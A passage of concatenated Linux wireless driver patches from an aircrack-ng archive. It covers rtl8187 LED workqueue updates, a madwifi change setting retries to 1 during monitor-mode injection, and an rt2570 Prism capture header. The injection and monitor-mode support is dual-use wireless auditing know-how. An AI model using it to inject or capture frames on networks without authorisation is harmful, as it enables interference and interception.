*rxurb_task; // u8 dma_poll_mask; //short tx_suspend; - + /* adhoc/master mode stuff */ #if 0 u32 *txbeacontail; @@ -270,15 +278,20 @@ //u16 master_beaconinterval; // u32 master_beaconsize; //u16 beacon_interval; - + u8 retry_data; u8 retry_rts; u16 rts; u8 ps_sleep_finish;//1, finish hw sleep ,0 finish hw wakeup - + struct work_struct reset_wq; struct work_struct rtl8180_hw_wakeup_wq; +// struct work_struct rtl8180_rq_tx_ack_wq; +// struct work_struct rtl8180_hw_sleep_wq; + + struct work_struct SwLed0WorkItemCallback_wq; + short ack_tx_to_ieee; @@ -292,15 +305,15 @@ LED_STRATEGY_8187 LedStrategy; u8 PsrValue; struct work_struct Gpio0LedWorkItem; - struct work_struct SwLed0WorkItem; - struct work_struct SwLed1WorkItem; - + struct work_struct SwLed0WorkItem; + struct work_struct SwLed1WorkItem; + }r8180_priv; -typedef enum{ +typedef enum{ LOW_PRIORITY , - NORM_PRIORITY + NORM_PRIORITY } priority_t; diff -Naur r8187_orig/rtl8187/r8187_led.c r8187_rawtx/rtl8187/r8187_led.c --- r8187_orig/rtl8187/r8187_led.c 2007-01-15 03:00:37.000000000 +0100 +++ r8187_rawtx/rtl8187/r8187_led.c 2007-05-16 21:51:33.000000000 +0200 @@ -3,35 +3,35 @@ Module Name: r8187_led.c - + Abstract: RTL8187 LED control functions - + Major Change History: When Who What ---------- --------------- ------------------------------- 2006-09-07 Xiong Created - -Notes: - + +Notes: + --*/ /*--------------------------Include File------------------------------------*/ #include "r8180_hw.h" #include "r8187.h" -#include "r8180_93cx6.h" +#include "r8180_93cx6.h" #include "r8187_led.h" /** * -* Initialization function for Sw Leds controll. -* +* Initialization function for Sw Leds controll. +* * \param dev The net device for this driver. * \return void. * -* Note: -* +* Note: +* */ void InitSwLeds( @@ -49,7 +49,7 @@ DMESG("EEPROM Customer ID: %02X\n", priv->EEPROMCustomerID); if(priv->CustomerID == RT_CID_DEFAULT) - { // If we have not yet change priv->CustomerID in register, + { // If we have not yet change priv->CustomerID in register, // we initialzie it from that of EEPROM with proper translation, 2006.07.03, by rcnjko. switch(priv->EEPROMCustomerID) { @@ -57,19 +57,19 @@ case EEPROM_CID_RSVD1: priv->CustomerID = RT_CID_DEFAULT; break; - + case EEPROM_CID_ALPHA0: priv->CustomerID = RT_CID_8187_ALPHA0; break; - + case EEPROM_CID_SERCOMM_PS: priv->CustomerID = RT_CID_8187_SERCOMM_PS; break; - + case EEPROM_CID_HW_LED: priv->CustomerID = RT_CID_8187_HW_LED; break; - + default: // Invalid value, so, we use default value instead. priv->CustomerID = RT_CID_DEFAULT; @@ -78,13 +78,13 @@ } switch(priv->CustomerID) { - case RT_CID_DEFAULT: + case RT_CID_DEFAULT: priv->LedStrategy = SW_LED_MODE0; break; - + case RT_CID_8187_ALPHA0: priv->LedStrategy = SW_LED_MODE1; - break; + break; case RT_CID_8187_SERCOMM_PS: priv->LedStrategy = SW_LED_MODE3; @@ -98,27 +98,39 @@ priv->LedStrategy = SW_LED_MODE0; break; } - - InitLed8187(dev, - &(priv->Gpio0Led), - LED_PIN_GPIO0, + + InitLed8187(dev, + &(priv->Gpio0Led), + LED_PIN_GPIO0, Gpio0LedBlinkTimerCallback); - INIT_WORK(&priv->Gpio0LedWorkItem, +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + INIT_WORK(&priv->Gpio0LedWorkItem, (void(*)(void*))Gpio0LedWorkItemCallback, dev); +#else + INIT_WORK(&priv->Gpio0LedWorkItem, Gpio0LedWorkItemCallback); +#endif InitLed8187(dev, - &(priv->SwLed0), - LED_PIN_LED0, + &(priv->SwLed0), + LED_PIN_LED0, SwLed0BlinkTimerCallback); - INIT_WORK(&priv->SwLed0WorkItem, +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + INIT_WORK(&priv->SwLed0WorkItem, (void(*)(void*))SwLed0WorkItemCallback, dev); +#else + INIT_WORK(&priv->SwLed0WorkItem, SwLed0WorkItemCallback); +#endif InitLed8187(dev, - &(priv->SwLed1), - LED_PIN_LED1, + &(priv->SwLed1), + LED_PIN_LED1, SwLed1BlinkTimerCallback); - INIT_WORK(&priv->SwLed1WorkItem, +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + INIT_WORK(&priv->SwLed1WorkItem, (void(*)(void*))SwLed1WorkItemCallback, dev); +#else + INIT_WORK(&priv->SwLed1WorkItem, SwLed1WorkItemCallback); +#endif } void @@ -135,7 +147,7 @@ void InitLed8187( - struct net_device *dev, + struct net_device *dev, PLED_8187 pLed, LED_PIN_8187 LedPin, void * BlinkCallBackFunc) @@ -157,7 +169,7 @@ void DeInitLed8187( - struct net_device *dev, + struct net_device *dev, PLED_8187 pLed) { //PlatformCancelTimer(dev, &(pLed->BlinkTimer)); @@ -178,10 +190,10 @@ return; /* - if( priv->eRFPowerState != eRfOn && - (LedAction == LED_CTL_TX || LedAction == LED_CTL_RX || - LedAction == LED_CTL_SITE_SURVEY || - LedAction == LED_CTL_LINK || + if( priv->eRFPowerState != eRfOn && + (LedAction == LED_CTL_TX || LedAction == LED_CTL_RX || + LedAction == LED_CTL_SITE_SURVEY || + LedAction == LED_CTL_LINK || LedAction == LED_CTL_NO_LINK) ) { return; @@ -213,7 +225,7 @@ // -// Description: +// Description: // Implement each led action for SW_LED_MODE0. // This is default strategy. // @@ -261,7 +273,7 @@ case LED_CTL_NO_LINK: pLed->CurrLedState = LED_OFF; break; - + case LED_CTL_POWER_ON: pLed->CurrLedState = LED_POWER_ON_BLINK; break; @@ -297,10 +309,10 @@ { pLed->bLedBlinkInProgress = 1; if( pLed->bLedOn ) - pLed->BlinkingLedState = LED_OFF; + pLed->BlinkingLedState = LED_OFF; else - pLed->BlinkingLedState = LED_ON; - + pLed->BlinkingLedState = LED_ON; + pLed->BlinkTimer.expires = jiffies + LED_BLINK_NORMAL_INTERVAL; add_timer(&(pLed->BlinkTimer)); //PlatformSetTimer(dev, &(pLed->BlinkTimer), LED_BLINK_NORMAL_INTERVAL); @@ -312,10 +324,10 @@ { pLed->bLedBlinkInProgress = 1; if( pLed->bLedOn ) - pLed->BlinkingLedState = LED_OFF; + pLed->BlinkingLedState = LED_OFF; else pLed->BlinkingLedState = LED_ON; - + pLed->BlinkTimer.expires = jiffies + LED_BLINK_SLOWLY_INTERVAL; add_timer(&(pLed->BlinkTimer)); //PlatformSetTimer(dev, &(pLed->BlinkTimer), LED_BLINK_SLOWLY_INTERVAL); @@ -334,7 +346,7 @@ } // -// Description: +// Description: // Implement each led action for SW_LED_MODE1. // For example, this is applied by ALPHA. // @@ -357,9 +369,9 @@ pLed0->BlinkTimes = 2; pLed0->bLedBlinkInProgress = 1; if( pLed0->bLedOn ) - pLed0->BlinkingLedState = LED_OFF; + pLed0->BlinkingLedState = LED_OFF; else - pLed0->BlinkingLedState = LED_ON; + pLed0->BlinkingLedState = LED_ON; pLed0->BlinkTimer.expires = jiffies + LED_BLINK_NORMAL_INTERVAL; add_timer(&(pLed0->BlinkTimer)); @@ -382,7 +394,7 @@ SwLedOff(dev, pLed0); } break; - + case LED_CTL_POWER_ON: pLed0->CurrLedState = LED_OFF; SwLedOff(dev, pLed0); @@ -407,7 +419,7 @@ pLed0->BlinkTimes = 10; pLed0->bLedBlinkInProgress = 1; if( pLed0->bLedOn ) - pLed0->BlinkingLedState = LED_OFF; + pLed0->BlinkingLedState = LED_OFF; else pLed0->BlinkingLedState = LED_ON; @@ -423,9 +435,9 @@ } // -// Description: -// Implement each led action for SW_LED_MODE2, -// which is customized for AzWave 8187 minicard. +// Description: +// Implement each led action for SW_LED_MODE2, +// which is customized for AzWave 8187 minicard. // 2006.04.03, by rcnjko. // void @@ -450,9 +462,9 @@ pLed->BlinkTimes = 2; if( pLed->bLedOn ) - pLed->BlinkingLedState = LED_OFF; + pLed->BlinkingLedState = LED_OFF; else - pLed->BlinkingLedState = LED_ON; + pLed->BlinkingLedState = LED_ON; pLed->BlinkTimer.expires = jiffies + LED_BLINK_NORMAL_INTERVAL; add_timer(&(pLed->BlinkTimer)); @@ -465,7 +477,7 @@ { pLed->bLedBlinkInProgress = 1; - //if( dev->MgntInfo.mAssoc || + //if( dev->MgntInfo.mAssoc || // dev->MgntInfo.mIbss ) //{ pLed->CurrLedState = LED_SCAN_BLINK; @@ -486,7 +498,7 @@ } else { - pLed->BlinkingLedState = LED_ON; + pLed->BlinkingLedState = LED_ON; pLed->BlinkTimer.expires = jiffies + LED_CM2_BLINK_OFF_INTERVAL; add_timer(&(pLed->BlinkTimer)); //PlatformSetTimer(dev, &(pLed->BlinkTimer), LED_CM2_BLINK_OFF_INTERVAL); @@ -498,7 +510,7 @@ { pLed->CurrLedState = LED_SCAN_BLINK; /* - if( dev->MgntInfo.mAssoc || + if( dev->MgntInfo.mAssoc || dev->MgntInfo.mIbss ) { pLed->CurrLedState = LED_SCAN_BLINK; @@ -522,14 +534,14 @@ if( pLed->bLedOn ) { - pLed->BlinkingLedState = LED_OFF; + pLed->BlinkingLedState = LED_OFF; pLed->BlinkTimer.expires = jiffies + LED_CM2_BLINK_ON_INTERVAL; add_timer(&(pLed->BlinkTimer)); //PlatformSetTimer(dev, &(pLed->BlinkTimer), LED_CM2_BLINK_ON_INTERVAL); } else { - pLed->BlinkingLedState = LED_ON; + pLed->BlinkingLedState = LED_ON; pLed->BlinkTimer.expires = jiffies + LED_CM2_BLINK_OFF_INTERVAL; add_timer(&(pLed->BlinkTimer)); //PlatformSetTimer(dev, &(pLed->BlinkTimer), LED_CM2_BLINK_OFF_INTERVAL); @@ -564,9 +576,9 @@ // -// Description: -// Implement each led action for SW_LED_MODE3, -// which is customized for Sercomm Printer Server case. +// Description: +// Implement each led action for SW_LED_MODE3, +// which is customized for Sercomm Printer Server case. // 2006.04.21, by rcnjko. // void @@ -591,9 +603,9 @@ pLed->BlinkTimes = 2; if( pLed->bLedOn ) - pLed->BlinkingLedState = LED_OFF; + pLed->BlinkingLedState = LED_OFF; else - pLed->BlinkingLedState = LED_ON; + pLed->BlinkingLedState = LED_ON; pLed->BlinkTimer.expires = jiffies + LED_CM3_BLINK_INTERVAL; add_timer(&(pLed->BlinkTimer)); @@ -610,9 +622,9 @@ pLed->BlinkTimes = 10; if( pLed->bLedOn ) - pLed->BlinkingLedState = LED_OFF; + pLed->BlinkingLedState = LED_OFF; else - pLed->BlinkingLedState = LED_ON; + pLed->BlinkingLedState = LED_ON; pLed->BlinkTimer.expires = jiffies + LED_CM3_BLINK_INTERVAL; add_timer(&(pLed->BlinkTimer)); @@ -729,18 +741,21 @@ } } -// +// // Callback fucntion of the workitem for SW LEDs. // 2006.03.01, by rcnjko. // -void -Gpio0LedWorkItemCallback( - void * Context - ) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void Gpio0LedWorkItemCallback(struct work_struct *work) +{ + struct r8180_priv *priv = container_of(work, struct r8180_priv, Gpio0LedWorkItem); + struct net_device *dev = priv->dev; +#else +void Gpio0LedWorkItemCallback(struct net_device *dev) { - struct net_device *dev = (struct net_device *)Context; struct r8180_priv *priv = ieee80211_priv(dev); - PLED_8187 pLed = &(priv->Gpio0Led); +#endif + PLED_8187 pLed = &(priv->Gpio0Led); if(priv->LedStrategy == SW_LED_MODE2) SwLedCm2Blink(dev, pLed); @@ -750,27 +765,31 @@ //LeaveCallbackOfRtWorkItem( &(usbdevice->Gpio0LedWorkItem) ); } -void -SwLed0WorkItemCallback( - void * Context - ) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void SwLed0WorkItemCallback(struct work_struct *work) +{ + struct r8180_priv *priv = container_of(work, struct r8180_priv, SwLed0WorkItem); + struct net_device *dev = priv->dev; +#else +void SwLed0WorkItemCallback(struct net_device *dev) { - struct net_device *dev = (struct net_device *)Context; struct r8180_priv *priv = ieee80211_priv(dev); - +#endif SwLedBlink(dev, &(priv->SwLed0)); //LeaveCallbackOfRtWorkItem( &(usbdevice->SwLed0WorkItem) ); } -void -SwLed1WorkItemCallback( - void * Context - ) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void SwLed1WorkItemCallback(struct work_struct *work) +{ + struct r8180_priv *priv = container_of(work, struct r8180_priv, SwLed1WorkItem); + struct net_device *dev = priv->dev; +#else +void SwLed1WorkItemCallback(struct net_device *dev) { - struct net_device *dev = (struct net_device *)Context; struct r8180_priv *priv = ieee80211_priv(dev); - +#endif SwLedBlink(dev, &(priv->SwLed1)); //LeaveCallbackOfRtWorkItem( &(usbdevice->SwLed1WorkItem) ); @@ -782,19 +801,19 @@ // void SwLedBlink( - struct net_device *dev, + struct net_device *dev, PLED_8187 pLed ) { u8 bStopBlinking = 0; // Change LED according to BlinkingLedState specified. - if( pLed->BlinkingLedState == LED_ON ) + if( pLed->BlinkingLedState == LED_ON ) { SwLedOn(dev, pLed); //DMESG("Blinktimes (%d): turn on\n", pLed->BlinkTimes); - } - else + } + else { SwLedOff(dev, pLed); //DMESG("Blinktimes (%d): turn off\n", pLed->BlinkTimes); @@ -828,40 +847,40 @@ } pLed->BlinkTimes = 0; - pLed->bLedBlinkInProgress = 0; + pLed->bLedBlinkInProgress = 0; } else { // Assign LED state to toggle. - if( pLed->BlinkingLedState == LED_ON ) + if( pLed->BlinkingLedState == LED_ON ) pLed->BlinkingLedState = LED_OFF; - else + else pLed->BlinkingLedState = LED_ON; - // Schedule a timer to toggle LED state. + // Schedule a timer to toggle LED state. switch( pLed->CurrLedState ) { case LED_BLINK_NORMAL: pLed->BlinkTimer.expires = jiffies + LED_BLINK_NORMAL_INTERVAL; - add_timer(&(pLed->BlinkTimer)); + add_timer(&(pLed->BlinkTimer)); //PlatformSetTimer(dev, &(pLed->BlinkTimer), LED_BLINK_NORMAL_INTERVAL); break; case LED_BLINK_SLOWLY: pLed->BlinkTimer.expires = jiffies + LED_BLINK_SLOWLY_INTERVAL; - add_timer(&(pLed->BlinkTimer)); + add_timer(&(pLed->BlinkTimer)); //PlatformSetTimer(dev, &(pLed->BlinkTimer), LED_BLINK_SLOWLY_INTERVAL); break; case LED_BLINK_CM3: pLed->BlinkTimer.expires = jiffies + LED_CM3_BLINK_INTERVAL; - add_timer(&(pLed->BlinkTimer)); + add_timer(&(pLed->BlinkTimer)); //PlatformSetTimer(dev, &(pLed->BlinkTimer), LED_CM3_BLINK_INTERVAL); break; default: pLed->BlinkTimer.expires = jiffies + LED_BLINK_SLOWLY_INTERVAL; - add_timer(&(pLed->BlinkTimer)); + add_timer(&(pLed->BlinkTimer)); //PlatformSetTimer(dev, &(pLed->BlinkTimer), LED_BLINK_SLOWLY_INTERVAL); break; } @@ -871,11 +890,11 @@ // -// Implementation of LED blinking behavior for SwLedControlMode2. +// Implementation of LED blinking behavior for SwLedControlMode2. // void SwLedCm2Blink( - struct net_device *dev, + struct net_device *dev, PLED_8187 pLed ) { @@ -884,12 +903,12 @@ u8 bStopBlinking = 0; // Change LED according to BlinkingLedState specified. - if( pLed->BlinkingLedState == LED_ON ) + if( pLed->BlinkingLedState == LED_ON ) { SwLedOn(dev, pLed); //DMESG("Blinktimes (%d): turn on\n", pLed->BlinkTimes); - } - else + } + else { SwLedOff(dev, pLed); //DMESG("Blinktimes (%d): turn off\n", pLed->BlinkTimes); @@ -899,13 +918,13 @@ pLed->BlinkTimes--; switch(pLed->CurrLedState) { - case LED_BLINK_NORMAL: + case LED_BLINK_NORMAL: if(pLed->BlinkTimes == 0) { bStopBlinking = 1; } break; -/* CM2 scan blink and no link blind now not be supported +/* CM2 scan blink and no link blind now not be supported case LED_SCAN_BLINK: if( (priv->mAssoc || priv->mIbss) && // Linked. (!priv->bScanInProgress) && // Not in scan stage. @@ -916,9 +935,9 @@ break; case LED_NO_LINK_BLINK: - //Revised miniCard Ad-hoc mode "Slow Blink" by Isaiah 2006-08-03 + //Revised miniCard Ad-hoc mode "Slow Blink" by Isaiah 2006-08-03 //if( (priv->mAssoc || priv->mIbss) ) // Linked. - if( priv->mAssoc) + if( priv->mAssoc) { bStopBlinking = 1; } @@ -950,28 +969,28 @@ } */ pLed->BlinkTimes = 0; - pLed->bLedBlinkInProgress = 0; + pLed->bLedBlinkInProgress = 0; } else { // Assign LED state to toggle. - if( pLed->BlinkingLedState == LED_ON ) + if( pLed->BlinkingLedState == LED_ON ) pLed->BlinkingLedState = LED_OFF; - else + else pLed->BlinkingLedState = LED_ON; - // Schedule a timer to toggle LED state. + // Schedule a timer to toggle LED state. switch( pLed->CurrLedState ) { case LED_BLINK_NORMAL: pLed->BlinkTimer.expires = jiffies + LED_BLINK_NORMAL_INTERVAL; - add_timer(&(pLed->BlinkTimer)); + add_timer(&(pLed->BlinkTimer)); //PlatformSetTimer(dev, &(pLed->BlinkTimer), LED_BLINK_NORMAL_INTERVAL); break; case LED_BLINK_SLOWLY: pLed->BlinkTimer.expires = jiffies + LED_BLINK_SLOWLY_INTERVAL; - add_timer(&(pLed->BlinkTimer)); + add_timer(&(pLed->BlinkTimer)); //PlatformSetTimer(dev, &(pLed->BlinkTimer), LED_BLINK_SLOWLY_INTERVAL); break; @@ -979,11 +998,11 @@ case LED_NO_LINK_BLINK: if( pLed->bLedOn ) { pLed->BlinkTimer.expires = jiffies + LED_CM2_BLINK_ON_INTERVAL; - add_timer(&(pLed->BlinkTimer)); + add_timer(&(pLed->BlinkTimer)); //PlatformSetTimer(dev, &(pLed->BlinkTimer), LED_CM2_BLINK_ON_INTERVAL); } else { pLed->BlinkTimer.expires = jiffies + LED_CM2_BLINK_OFF_INTERVAL; - add_timer(&(pLed->BlinkTimer)); + add_timer(&(pLed->BlinkTimer)); //PlatformSetTimer(dev, &(pLed->BlinkTimer), LED_CM2_BLINK_OFF_INTERVAL); } break; @@ -1000,7 +1019,7 @@ void SwLedOn( - struct net_device *dev, + struct net_device *dev, PLED_8187 pLed ) { @@ -1032,7 +1051,7 @@ void SwLedOff( - struct net_device *dev, + struct net_device *dev, PLED_8187 pLed ) { @@ -1060,5 +1079,5 @@ } pLed->bLedOn = 0; -} +} diff -Naur r8187_orig/rtl8187/r8187_led.h r8187_rawtx/rtl8187/r8187_led.h --- r8187_orig/rtl8187/r8187_led.h 2007-01-15 03:00:37.000000000 +0100 +++ r8187_rawtx/rtl8187/r8187_led.h 2007-05-16 21:51:38.000000000 +0200 @@ -7,7 +7,7 @@ Abstract: definitions and stuctures for rtl8187 led control. - + Major Change History: When Who What ---------- ------ ---------------------------------------------- @@ -127,14 +127,14 @@ void InitLed8187( - struct net_device *dev, + struct net_device *dev, PLED_8187 pLed, LED_PIN_8187 LedPin, void * BlinkCallBackFunc); void DeInitLed8187( - struct net_device *dev, + struct net_device *dev, PLED_8187 pLed); void @@ -188,42 +188,37 @@ PLED_8187 pLed ); -void -Gpio0LedWorkItemCallback( - void * Context - ); - -void -SwLed0WorkItemCallback( - void * Context - ); - -void -SwLed1WorkItemCallback( - void * Context - ); +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void SwLed0WorkItemCallback(struct work_struct *work); +void SwLed1WorkItemCallback(struct work_struct *work); +void Gpio0LedWorkItemCallback(struct work_struct *work); +#else +void SwLed0WorkItemCallback(struct net_device *dev); +void SwLed1WorkItemCallback(struct net_device *dev); +void Gpio0LedWorkItemCallback(struct net_device *dev); +#endif void SwLedBlink( - struct net_device *dev, + struct net_device *dev, PLED_8187 pLed ); void SwLedCm2Blink( - struct net_device *dev, + struct net_device *dev, PLED_8187 pLed ); void SwLedOn( - struct net_device *dev, + struct net_device *dev, PLED_8187 pLed ); void SwLedOff( - struct net_device *dev, + struct net_device *dev, PLED_8187 pLed ); diff -Naur r8187_orig/symvers r8187_rawtx/symvers --- r8187_orig/symvers 1970-01-01 01:00:00.000000000 +0100 +++ r8187_rawtx/symvers 2007-05-13 09:54:44.000000000 +0200 @@ -0,0 +1,25 @@ +#!/bin/sh + +cd rtl8187 + +if [ -e Module.symvers ] +then + rm Module.symvers +fi + +if [ -e Modules.symvers ] +then + rm Modules.symvers +fi + +if [ -e ../ieee80211/Module.symvers ] +then + ln -sf ../ieee80211/Module.symvers ./ +fi + +if [ -e ../ieee80211/Modules.symvers ] +then + ln -sf ../ieee80211/Modules.symvers ./ +fi + +cd .. \ Kein Zeilenumbruch am Dateiende. aircrack-ng-1.2-rc4/patches/old/madwifi-ng-r1730.patch0000644000000000000000000000174310761053203020745 0ustar rootrootdiff -ur madwifi-r1724/ath/if_ath.c patched-madwifi-r1730/ath/if_ath.c --- madwifi-r1724/ath/if_ath.c 2006-09-22 17:55:11.984375000 +0200 +++ patched-madwifi-r1724/ath/if_ath.c 2006-09-23 16:00:36.296875000 +0200 @@ -2258,6 +2258,7 @@ ath_tx_startraw(struct net_device *dev, struct ath_buf *bf, struct sk_buff *skb) { struct ath_softc *sc = dev->priv; + struct ieee80211com *ic = &sc->sc_ic; struct ath_hal *ah = sc->sc_ah; struct ieee80211_phy_params *ph = (struct ieee80211_phy_params *) (skb->cb + sizeof(struct ieee80211_cb)); const HAL_RATE_TABLE *rt; @@ -2274,7 +2275,11 @@ struct ieee80211_frame *wh; wh = (struct ieee80211_frame *) skb->data; - try0 = ph->try0; + try0 = (ic->ic_opmode == IEEE80211_M_MONITOR) ? 1 : ph->try0; + /* + * The retry value has to be patched to 1 when injecting, + * otherwise the sequence number will be overwritten + */ rt = sc->sc_currates; txrate = dot11_to_ratecode(sc, rt, ph->rate0); power = ph->power > 60 ? 60 : ph->power; aircrack-ng-1.2-rc4/patches/old/rt2570-cvs-20051008-prismheader.patch0000644000000000000000000001317110761053203023101 0ustar rootrootOnly in ./Module: out.cap Only in ./Module: out.txt diff -ur ../rt2570-cvs-20051025/Module/rt2570sw.h ./Module/rt2570sw.h --- ../rt2570-cvs-20051025/Module/rt2570sw.h 2005-10-21 19:31:22.000000000 +0200 +++ ./Module/rt2570sw.h 2005-11-04 11:31:47.000000000 +0100 @@ -3699,4 +3699,55 @@ int USB_CallUSBD(PRT2570ADAPTER Adapter, IN PURB Urb); + +#endif + +#ifndef _PRISMHEADER +#define _PRISMHEADER + +enum { + DIDmsg_lnxind_wlansniffrm = 0x00000044, + DIDmsg_lnxind_wlansniffrm_hosttime = 0x00010044, + DIDmsg_lnxind_wlansniffrm_mactime = 0x00020044, + DIDmsg_lnxind_wlansniffrm_channel = 0x00030044, + DIDmsg_lnxind_wlansniffrm_rssi = 0x00040044, + DIDmsg_lnxind_wlansniffrm_sq = 0x00050044, + DIDmsg_lnxind_wlansniffrm_signal = 0x00060044, + DIDmsg_lnxind_wlansniffrm_noise = 0x00070044, + DIDmsg_lnxind_wlansniffrm_rate = 0x00080044, + DIDmsg_lnxind_wlansniffrm_istx = 0x00090044, + DIDmsg_lnxind_wlansniffrm_frmlen = 0x000A0044 +}; +enum { + P80211ENUM_msgitem_status_no_value = 0x00 +}; +enum { + P80211ENUM_truth_false = 0x00, + P80211ENUM_truth_true = 0x01 +}; + +typedef struct { + u_int32_t did; + u_int16_t status; + u_int16_t len; + u_int32_t data; +} p80211item_uint32_t; + +typedef struct { + u_int32_t msgcode; + u_int32_t msglen; +#define WLAN_DEVNAMELEN_MAX 16 + u_int8_t devname[WLAN_DEVNAMELEN_MAX]; + p80211item_uint32_t hosttime; + p80211item_uint32_t mactime; + p80211item_uint32_t channel; + p80211item_uint32_t rssi; + p80211item_uint32_t sq; + p80211item_uint32_t signal; + p80211item_uint32_t noise; + p80211item_uint32_t rate; + p80211item_uint32_t istx; + p80211item_uint32_t frmlen; +} wlan_ng_prism2_header; + #endif diff -ur ../rt2570-cvs-20051025/Module/rtusb_data.c ./Module/rtusb_data.c --- ../rt2570-cvs-20051025/Module/rtusb_data.c 2005-09-21 01:43:50.000000000 +0200 +++ ./Module/rtusb_data.c 2005-11-04 17:40:27.000000000 +0100 @@ -40,6 +40,7 @@ 0, /* RATE_1 */ 1, /* RATE_2 */ 2, /* RATE_5_5 */ 3, /* RATE_11 */ // see BBP spec 11, /* RATE_6 */ 15, /* RATE_9 */ 10, /* RATE_12 */ 14, /* RATE_18 */ // see IEEE802.11a-1999 p.14 9, /* RATE_24 */ 13, /* RATE_36 */ 8, /* RATE_48 */ 12 /* RATE_54 */ }; // see IEEE802.11a-1999 p.14 +static UINT _11G_RATES[12] = { 0, 0, 0, 0, 6, 9, 12, 18, 24, 36, 48, 54 }; static UCHAR SNAP_802_1H[] = {0xaa, 0xaa, 0x03, 0x00, 0x00, 0x00}; static UCHAR SNAP_BRIDGE_TUNNEL[] = {0xaa, 0xaa, 0x03, 0x00, 0x00, 0xf8}; static UCHAR EAPOL[] = {0x88, 0x8e}; @@ -1672,6 +1673,7 @@ NDIS_802_11_ENCRYPTION_STATUS Cipher; struct sk_buff *skb; PVOID pManage; + wlan_ng_prism2_header *ph; pRxContext= (PRX_CONTEXT)pUrb->context; pAdapter = pRxContext->pAdapter; @@ -1709,6 +1711,57 @@ struct sk_buff *skb; if ((skb = __dev_alloc_skb(2048, GFP_DMA|GFP_ATOMIC)) != NULL) { + // setup the wlan-ng prismheader + + if (skb_headroom(skb) < sizeof(wlan_ng_prism2_header)) + pskb_expand_head(skb, sizeof(wlan_ng_prism2_header), 0, GFP_ATOMIC); + + ph = (wlan_ng_prism2_header *) + skb_push(skb, sizeof(wlan_ng_prism2_header)); + memset(ph, 0, sizeof(wlan_ng_prism2_header)); + + ph->msgcode = DIDmsg_lnxind_wlansniffrm; + ph->msglen = sizeof(wlan_ng_prism2_header); + strcpy(ph->devname, pAdapter->net->name); + + ph->hosttime.did = DIDmsg_lnxind_wlansniffrm_hosttime; + ph->mactime.did = DIDmsg_lnxind_wlansniffrm_mactime; + ph->channel.did = DIDmsg_lnxind_wlansniffrm_channel; + ph->rssi.did = DIDmsg_lnxind_wlansniffrm_rssi; + ph->signal.did = DIDmsg_lnxind_wlansniffrm_signal; + ph->noise.did = DIDmsg_lnxind_wlansniffrm_noise; + ph->rate.did = DIDmsg_lnxind_wlansniffrm_rate; + ph->istx.did = DIDmsg_lnxind_wlansniffrm_istx; + ph->frmlen.did = DIDmsg_lnxind_wlansniffrm_frmlen; + + ph->hosttime.len = 4; + ph->mactime.len = 4; + ph->channel.len = 4; + ph->rssi.len = 4; + ph->signal.len = 4; + ph->noise.len = 4; + ph->rate.len = 4; + ph->istx.len = 4; + ph->frmlen.len = 4; + + ph->hosttime.data = jiffies; + ph->channel.data = pAdapter->PortCfg.IbssConfig.Channel; + ph->signal.data = pRxD->BBR1; + ph->noise.data = pAdapter->PortCfg.LastR17Value; + ph->rssi.data = ph->signal.data - ph->noise.data; + ph->frmlen.data = pRxD->DataByteCnt; + + if (pRxD->Ofdm == 1) + { + for (i = 4; i < 12; i++) + if (pRxD->BBR0 == PlcpSignal[i]) + ph->rate.data = _11G_RATES[i] * 2; + } + else + ph->rate.data = pRxD->BBR0 / 5; + + // end prismheader setup + skb->dev = pAdapter->net; memcpy(skb_put(skb, pRxD->DataByteCnt-4), pData, pRxD->DataByteCnt-4); skb->mac.raw = skb->data; diff -ur ../rt2570-cvs-20051025/Module/rtusb_info.c ./Module/rtusb_info.c --- ../rt2570-cvs-20051025/Module/rtusb_info.c 2005-10-23 15:33:57.000000000 +0200 +++ ./Module/rtusb_info.c 2005-11-04 11:31:47.000000000 +0100 @@ -200,7 +200,9 @@ pAdapter->PortCfg.IbssConfig.Channel = chan; DBGPRINT(RT_DEBUG_ERROR, "<==SIOCSIWFREQ[cmd=0x%x] (Channel=%d)\n", SIOCSIWFREQ, pAdapter->PortCfg.IbssConfig.Channel); - if (pAdapter->PortCfg.BssType == BSS_MONITOR && pAdapter->PortCfg.MallowRFMONTx == TRUE) + // CD: setting the channel in Monitor mode is unrelated to RFMONTx + + if (pAdapter->PortCfg.BssType == BSS_MONITOR) { pAdapter->PortCfg.Channel = pAdapter->PortCfg.IbssConfig.Channel; AsicSwitchChannel(pAdapter, pAdapter->PortCfg.Channel); @@ -275,7 +277,7 @@ pAdapter->PortCfg.BssType=BSS_MONITOR; RTUSBEnqueueInternalCmd(pAdapter, RT_OID_LINK_DOWN); pAdapter->bConfigChanged = TRUE; - pAdapter->net->type = 801; + pAdapter->net->type = 802; // ARPHRD_IEEE80211_PRISM RTUSBWriteMACRegister(pAdapter, TXRX_CSR2, 0x4e); break; default: aircrack-ng-1.2-rc4/patches/old/rtl8187_2.6.20v3.patch0000644000000000000000000073070110761053203020363 0ustar rootrootdiff -Naur rtl8187_orig/beta-8187/ieee80211.h rtl8187_txpower/beta-8187/ieee80211.h --- rtl8187_orig/beta-8187/ieee80211.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_txpower/beta-8187/ieee80211.h 2007-04-23 00:08:15.000000000 +0200 @@ -156,6 +156,22 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; @@ -840,14 +856,14 @@ #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,11)) -extern inline int is_multicast_ether_addr(const u8 *addr) +extern inline int is_multicast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] != 0xff) && (0x01 & addr[0])); } #endif #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,13)) -extern inline int is_broadcast_ether_addr(const u8 *addr) +extern inline int 